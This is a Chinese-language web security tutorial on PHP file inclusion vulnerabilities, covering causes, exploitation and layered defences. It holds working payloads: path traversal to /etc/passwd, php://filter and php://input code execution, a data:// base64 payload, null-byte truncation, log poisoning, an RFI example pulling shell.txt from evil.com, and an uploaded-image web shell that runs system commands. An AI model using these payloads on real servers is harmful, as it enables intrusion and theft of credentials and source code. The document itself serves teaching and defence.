1. 项目概述文件包含漏洞的“前世今生”在Web安全测试的日常工作中你可能会遇到各种奇奇怪怪的漏洞但有一种漏洞它原理简单、危害巨大却又常常因为开发者的疏忽而广泛存在这就是“文件包含漏洞”。我第一次真正重视这个漏洞是在一次内部红蓝对抗中一个看似平平无奇的新闻站攻击方仅仅通过修改URL中的一个参数就成功读取了服务器的配置文件进而拿下了整个后台。那一刻我才深刻体会到越是基础的漏洞往往越能成为撕开防线的那道口子。文件包含漏洞顾名思义是指应用程序在动态包含文件时未对用户输入的文件名或路径进行充分验证导致攻击者可以包含并执行任意文件包括服务器本地的敏感文件甚至远程服务器上的恶意脚本。它主要分为两种类型本地文件包含和远程文件包含。说它“基础”是因为其触发条件非常直观——程序使用了诸如include、require、include_once、require_once这类文件包含函数并且包含的路径变量用户可控。但它的“威力”却一点也不基础从信息泄露到远程代码执行它几乎是一条龙服务。这篇文章我将从一个实战渗透测试工程师的角度带你彻底拆解文件包含漏洞。我们不会停留在“是什么”的层面而是深入“为什么”和“怎么办”。我会详细解析漏洞产生的根本原因、在不同语言和环境下的具体表现、多种绕过防御的技巧以及从开发和安全两个角度如何彻底修复它。无论你是刚入门的安全爱好者还是有一定经验的开发人员理解并掌握文件包含漏洞都是构建安全认知体系不可或缺的一环。2. 漏洞原理深度剖析为什么“包含”会变得危险要理解漏洞必须先理解其正常的工作机制。在PHP、JSP、ASP等动态网页技术中“文件包含”是一种非常常见的代码复用机制。它的初衷是好的将常用的页头、页脚、函数库或配置模块写成独立的文件然后在多个页面中通过包含语句引入避免代码重复提高开发效率。2.1 核心机制与危险转折点以PHP为例其包含函数的行为是核心。include和require都会将指定文件的内容读取并插入到调用位置然后作为PHP代码执行。关键的区别在于错误处理include在文件不存在时只会产生警告脚本继续执行而require会引发致命错误脚本停止。include_once和require_once则确保同一个文件只被包含一次。一个正常的、安全的包含操作看起来是这样的?php $page header.php; // 固定的文件名 include($page); ?或者即使使用变量也是经过严格控制的?php $allowed_pages array(news, about, contact); $page $_GET[module]; if (in_array($page, $allowed_pages)) { include($page . .php); } else { include(error.php); } ?危险就出现在开发人员图省事或者对用户输入过于信任的时候。下面是一个典型的漏洞代码?php $file $_GET[file]; // 直接使用用户输入的参数 include($file . .php); ?这段代码的本意可能是通过?filenews来包含news.php文件。但攻击者的思维不会局限于此。如果用户输入../../../etc/passwd呢拼接后变成../../../etc/passwd.php服务器会去寻找这个文件。虽然因为.php后缀可能读取失败但已经暴露了路径遍历的意图。更糟糕的是如果代码是include($_GET[file]);没有任何后缀那么输入../../../etc/passwd将直接尝试包含系统的密码文件。注意这里涉及一个关键点。包含函数的目标是执行代码。当它尝试包含一个非PHP文件如.txt,.jpg时服务器会尝试将其内容作为PHP代码解析。如果文件内容是纯文本解析失败通常会以纯文本形式将内容输出到页面。这正是读取敏感文件如配置文件、日志文件的原理。如果该文件内容恰好包含有效的PHP代码例如一张图片中包含一句话木马那么这些代码将被执行导致远程代码执行。2.2 漏洞的两种主要类型本地文件包含攻击者可以包含服务器本地文件系统上的文件。这是最常见的形式。利用方式包括目录遍历读取敏感文件如/etc/passwd、C:\Windows\System32\drivers\etc\hosts、Web应用的配置文件config.php、web.config、日志文件等。利用临时文件或上传文件结合文件上传功能上传一个包含恶意代码的图片然后通过LFI包含这个图片执行代码。利用PHP封装协议这是LFI升级到RCE的“神技”。例如php://input可以读取POST请求体并作为PHP代码执行php://filter可以用于读取文件源码即使文件被包含后执行我们也能通过过滤器将其内容以base64等形式输出。远程文件包含攻击者可以包含远程服务器由攻击者控制上的文件。这要求PHP配置中allow_url_include设置为On默认是Off。一旦开启攻击者可以构造http://evil.com/shell.txt这样的URL服务器会去远程获取shell.txt的内容里面是PHP代码并在本地执行。RFI的危害是即时性的因为它直接引入了外部恶意代码。2.3 漏洞产生的深层原因信任边界模糊开发者未能清晰界定“可信的内部控制数据”和“不可信的用户输入数据”。将来自GET、POST、Cookie等外部参数直接用于文件路径是安全的大忌。输入验证缺失或不足仅添加后缀如.php或前缀如./pages/是远远不够的攻击者有多种方法可以绕过。没有进行严格的白名单校验。错误配置对于RFI而言allow_url_includeOn就是一个危险的服务端配置。同样不安全的服务器目录权限如Web目录可读系统文件也会扩大LFI的影响。对“包含”行为的误解部分开发者可能认为包含函数只会包含“代码文件”或者认为添加了后缀就安全没有理解到包含函数会执行被包含文件中的PHP代码以及尝试解析任何文件的这一本质。3. 实战利用与高级绕过技巧知道了原理我们来看看攻击者在实际中会怎么玩。这部分内容就像攻击者的“工具箱”了解它你才能更好地防御。3.1 基础利用敏感信息读取这是最简单的利用方式直接通过目录遍历读取文件。Payload示例?file../../../../etc/passwd?file../../../../windows/win.ini?file../config/database.php(猜测常见路径)技巧使用多个../来确保跳出Web根目录。不同系统的路径分隔符不同Unix-like:/, Windows:\有时需要尝试URL编码。3.2 利用PHP封装协议这是将LFI转化为信息泄露和RCE的关键。php://filter在渗透测试中极其常用。读取PHP文件源码当网站包含文件后执行代码我们看不到源码。但使用php://filter可以先将文件内容进行转换如base64编码然后再包含输出我们拿到base64密文解码即可。Payload?filephp://filter/convert.base64-encode/resourceindex.php解释这个过滤器会读取index.php的内容将其进行base64编码然后输出。因为输出的是经过编码的文本不会被当作PHP执行从而显示在页面上。解码后即可获得完整的源代码从中可能发现数据库密码、其他漏洞点等。执行PHP代码利用php://input可以将POST请求体作为PHP代码执行。前提allow_url_include需要为On但php://input访问本地输入流有时不受此限制取决于PHP版本和配置。操作发送一个POST请求URL参数为?filephp://input。在POST Body中直接写入PHP代码例如?php system(whoami);?。服务器包含php://input会读取POST Body并执行其中的system(whoami)命令。其他有用协议zip://可以包含ZIP压缩包中的文件。例如上传一个包含shell.php的ZIP包然后包含zip:///path/to/archive.zip%23shell.php#需要编码为%23。phar://与zip://类似用于PHP归档文件功能更强大。data://类似于RFI可以直接在URL中嵌入Base64编码的代码并执行。如?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg需要allow_url_includeOn。3.3 后缀截断与空字节注入这是一种历史悠久的绕过技巧主要针对低版本PHPPHP 5.3.4和特定环境。场景当开发者使用include($_GET[file] . .php);来强制添加后缀时攻击者如何包含非.php文件空字节注入在文件名末尾添加空字节%00。在C语言中空字节是字符串结束符。PHP底层用C实现早期版本在处理字符串时遇到%00会认为字符串到此结束。因此Payload../../../etc/passwd%00拼接后变成../../../etc/passwd%00.phpPHP在内部处理时读到%00就停止了实际去包含的文件是../../../etc/passwd成功绕过了后缀限制。长度截断在Windows系统下路径长度有限制如256字节。攻击者可以注入超长的./或../使得最终路径超过系统限制导致后缀.php被系统自动截断。例如?filetest.php/./././...大量重复././。实操心得空字节注入在现在的PHP环境中几乎已经绝迹但在一些遗留的老系统或特定中间件配置中仍然值得一试。更重要的是理解这种绕过思路——攻击者总是在寻找程序和系统在解析参数时的“不一致性”。现代防御更应关注逻辑层的白名单校验而非依赖后缀过滤。3.4 利用日志文件与临时文件这是一种“无文件上传”的RCE思路需要攻击者对服务器环境有一定了解。利用日志文件Web服务器如Apache、Nginx或应用框架都会记录访问日志和错误日志。这些日志文件通常位于Web目录之外但路径相对固定或可猜测。攻击者可以向网站发送一个包含PHP代码的HTTP请求例如访问http://target.com/?php phpinfo();?。这段请求URL会被原样记录在访问日志中。通过LFI漏洞去包含这个日志文件如/var/log/apache2/access.log。服务器在包含日志文件时会将日志中的?php phpinfo();?当作PHP代码执行。利用临时文件有些应用在处理文件上传、邮件发送时会生成临时文件。如果攻击者能预测临时文件的路径和名称通常很难或者通过其他漏洞如PHPsession.upload_progress向一个已知路径的文件写入内容再通过LFI包含也能实现RCE。这属于组合利用难度较高。4. 漏洞挖掘与手动测试方法论知道了怎么利用那在实战中如何发现它呢盲目测试效率低下需要有章法。4.1 目标识别与参数收集首先不是所有参数都值得测试。关注以下特征参数名暗示观察URL、表单中的参数名。常见的可疑参数名包括file,page,path,template,module,inc,load,document,view,folder等。这些名字本身就暗示了其功能可能与文件操作有关。功能点推测网站中哪些功能可能涉及动态加载内容例如多语言切换?langen、模板切换、文章预览、下载功能?downloadreport.pdf、静态资源加载等。这些功能点背后很可能使用了包含或读取文件的操作。代码审计如果能有源码例如开源程序、白盒测试直接搜索include,require,include_once,require_once,fopen,file_get_contents等函数然后回溯其参数来源是最直接有效的方法。4.2 手动测试Payload清单收集到可疑参数后可以按以下清单从简单到复杂进行测试。建议使用Burp Suite的Intruder或Repeater工具。第一阶段基础探测路径遍历尝试../../../../etc/passwd、....//....//....//etc/passwd双重编码绕过。协议探测尝试php://filter/resource/etc/passwd或php://filter/convert.base64-encode/resourceindex.php。空字节测试针对老系统尝试../../../etc/passwd%00。第二阶段后缀绕过测试如果发现添加了后缀如.php尝试以下绕过路径后接/?file../../etc/passwd/.末尾的/和.可能干扰拼接。问号截断?file../../etc/passwd?.php?在URL中表示参数开始有时服务器端脚本会将其后的内容当作查询字符串而忽略。井号截断?file../../etc/passwd%23#是URL片段标识原理同问号。超长路径截断仅限Windows老环境注入大量./。第三阶段上下文利用测试日志包含尝试包含常见日志路径如/var/log/apache2/access.log/var/www/logs/error.log同时观察自己的攻击请求是否被记录。Session包含如果知道PHP的Session存储路径如/tmp/sess_[sessionid]且能控制Session内容可以尝试包含。环境文件包含尝试包含Web目录下的配置文件如config.php,.env,web.config。4.3 利用工具辅助手动测试是基础但工具能提高效率。Burp Suite Scanner主动扫描可以检测出基础的路径遍历和文件包含漏洞。FFUF / Dirsearch用于模糊测试参数和路径。可以自定义字典包含各种LFI的Payload。自定义脚本针对特定目标编写Python脚本自动化测试一系列Payload并过滤响应中的特征如“root:x:0:0”表示可能读到了/etc/passwd。注意事项在渗透测试中读取/etc/passwd或config.php这类操作可能对目标业务造成影响如日志激增、暴露敏感信息。务必在获得授权的前提下进行并评估测试行为的影响。读取系统文件是高风险操作应谨慎进行。5. 防御方案从开发到部署的纵深防御防御文件包含漏洞必须建立一个多层次的防御体系不能只依赖单一手段。5.1 开发层最佳安全实践这是最根本、最有效的防御层。1. 使用白名单永远不要相信用户输入这是黄金法则。为所有可被包含的文件建立一个明确的、有限的列表。?php $allowed_pages [ home ./templates/home.php, news ./templates/news.php, about ./templates/about.php, ]; $page_key $_GET[module]; if (array_key_exists($page_key, $allowed_pages)) { include($allowed_pages[$page_key]); } else { // 默认行为或记录异常 include(./templates/error.php); // 同时记录这次异常的访问用于安全审计 error_log(Invalid include attempt: . $page_key, 3, /var/log/myapp/security.log); } ?即使攻击者传递了../../../etc/passwd由于它不在$allowed_pages数组中只会跳转到错误页面。2. 避免动态包含或严格限制路径如果业务上确实需要一定的动态性比如基于数据库记录包含文件务必设置根目录使用basename()函数去除路径只保留文件名。或者在包含前将用户输入与一个固定的、安全的目录前缀拼接。$base_dir /var/www/html/includes/; // 硬编码或从安全配置读取 $file_name basename($_GET[file]); // 移除所有目录路径 $full_path $base_dir . $file_name; // 可以再加一层白名单或后缀检查 if (preg_match(/^[a-zA-Z0-9_\-]\.php$/, $file_name)) { include($full_path); }实时验证文件存在性与位置包含前用realpath()函数解析文件的绝对路径然后检查这个路径是否在以安全目录为前缀的范围内。$user_input $_GET[file]; $base_path /var/www/html/includes/; $real_path realpath($base_path . $user_input); // 检查解析后的真实路径是否以安全的基础路径开头 if ($real_path ! false strpos($real_path, $base_path) 0) { include($real_path); } else { die(Invalid file request.); }3. 禁用危险函数与配置PHP环境在php.ini中确保allow_url_fopen Off和allow_url_include Off。这是关闭RFI的大门。考虑使用open_basedir指令将PHP脚本可以访问的文件限制在指定的目录树中。但这并非绝对安全应作为辅助手段。在代码层面如果确实不需要可以考虑禁用include、require等函数通过disable_functions配置但这会影响正常功能需权衡。5.2 部署与运维层加固环境1. 最小权限原则Web服务器进程如www-data, apache, nginx用户的运行权限应尽可能低。确保其只能读取Web应用必要的目录和文件绝对不能有读取/etc、/home等系统目录的权限。定期审查服务器上的文件和目录权限。2. 安全配置Web服务器在Nginx/Apache配置中可以设置规则阻止对敏感目录如/etc/proc的访问即使请求绕过了应用层也会在Web服务器层被拦截。隐藏服务器错误信息避免在错误响应中泄露绝对路径等敏感信息。3. 使用Web应用防火墙部署WAF可以在网络层拦截常见的攻击Payload如包含../、php://等特征的请求。但WAF可能存在绕过不能作为唯一防线。5.3 安全开发生命周期1. 代码审计与安全测试将文件包含漏洞的检查项纳入代码审计清单和自动化安全测试SAST/DAST流程。在开发阶段就发现问题。2. 安全培训让开发人员理解文件包含漏洞的原理和危害在编写代码时养成“白名单”、“输入验证”、“输出编码”的安全习惯。3. 漏洞管理与应急响应建立漏洞响应流程。一旦发现漏洞能快速定位问题代码、评估影响、制定修复方案并上线补丁。6. 实战案例复盘与排查技巧理论说再多不如看一个真实的简化案例。假设我们有一个简单的CMS其页面加载逻辑如下index.php:?php $p isset($_GET[p]) ? $_GET[p] : home; include(./pages/ . $p . .php); ?看起来它把文件限制在了./pages/目录下并且加上了.php后缀。似乎安全了攻击者视角初步测试访问?p../../etc/passwd服务器尝试包含./pages/../../etc/passwd.php文件不存在可能返回404或警告。但路径遍历意图明显。尝试空字节?p../../../etc/passwd%00。如果PHP版本低于5.3.4可能会成功读取/etc/passwd。尝试协议?pphp://filter/convert.base64-encode/resourceindex。拼接后为./pages/php://filter/.../resourceindex.php。这个路径很怪异但PHP的流处理器可能会识别出php://协议并执行。实测发现因为路径以./pages/开头PHP的流包装器可能无法正确识别。攻击失败。寻找真正的入口攻击者不会只盯着这一个点。他可能通过扫描发现另一个文件admin/upload.php存在文件上传但未重命名。他上传一个内容为?php system($_GET[‘c’]);?的shell.jpg。组合利用现在他需要找到这个图片的路径。他可能通过查看图片链接、目录遍历猜路径或者利用文件上传本身的返回信息。假设他知道了图片路径是/uploads/2023/10/shell.jpg。终极一击回到最初的漏洞点构造Payload?p../../../uploads/2023/10/shell。最终服务器包含的文件是./pages/../../../uploads/2023/10/shell.php即/uploads/2023/10/shell.jpg。由于.jpg文件被当作PHP解析其中的代码system($_GET[‘c’]);被执行。攻击者再访问?p../../../uploads/2023/10/shellcwhoami即可在服务器上执行命令。防御者复盘与排查漏洞根因index.php虽然拼接了目录和后缀但未对用户输入的$p进行净化。../被允许拼接导致可以跳出pages目录。修复方案立即修复在index.php中使用basename()函数$p basename($_GET[‘p’]);。这样无论输入多少../basename()后都只剩下文件名部分。白名单升级建立页面名称白名单。上传功能修复upload.php必须对上传文件进行重命名如使用随机哈希值并检查文件内容如使用MIME类型或文件头检查最好将上传目录设置为不可执行脚本通过服务器配置或.htaccess中php_flag engine off。全局排查使用代码扫描工具或人工审计在全站搜索include、require等函数检查其参数是否用户可控是否进行了正确的验证。常见问题排查技巧速查表现象可能原因排查步骤测试../返回正常页面未报错或包含异常内容。1. 参数非文件包含点。2. 程序对../进行了过滤或替换。3. 包含了非文本文件如图片页面显示乱码但未警觉。1. 换用php://filter协议测试看是否能输出当前文件源码。2. 查看响应原始内容搜索root:x:0:等特征。3. 尝试包含一个已知存在的Web目录下的文本文件如robots.txt。包含php://input并POST代码后无回显。1.allow_url_include为 Off。2. 代码执行被禁用如disable_functions。3. 输出被缓冲或重定向。1. 尝试包含php://filter/resource/etc/passwd测试协议是否可用。2. 尝试执行无回显命令如sleep(5)观察响应是否延迟。3. 尝试将执行结果写入一个Web可访问的文件。空字节注入 (%00) 无效。PHP版本 5.3.4已修复此漏洞。放弃空字节注入转向其他绕过方法如路径长度截断Windows、协议封装、日志包含等。包含日志文件后代码未执行。1. 日志文件路径不对。2. 日志中的PHP标签被转义或破坏。3. 日志文件权限不可读。1. 通过报错信息、已知信息泄露点等猜测日志路径。2. 检查日志内容确认?php ... ?是否被完整记录。有时需要将和进行URL编码。3. 尝试包含其他可能记录用户输入的文件如session文件。文件包含漏洞就像一把藏在门缝里的钥匙看起来不起眼却能打开通往服务器内部的大门。防御它的核心始终在于对用户输入保持“零信任”并在代码中贯彻“白名单”原则。在安全的世界里细节决定成败一个未经验证的include语句可能就是整个防线崩溃的起点。我个人的习惯是在代码审查时对所有文件操作函数都格外警惕这不仅仅是针对文件包含对于文件读取、写入、删除等操作同样的安全原则都适用。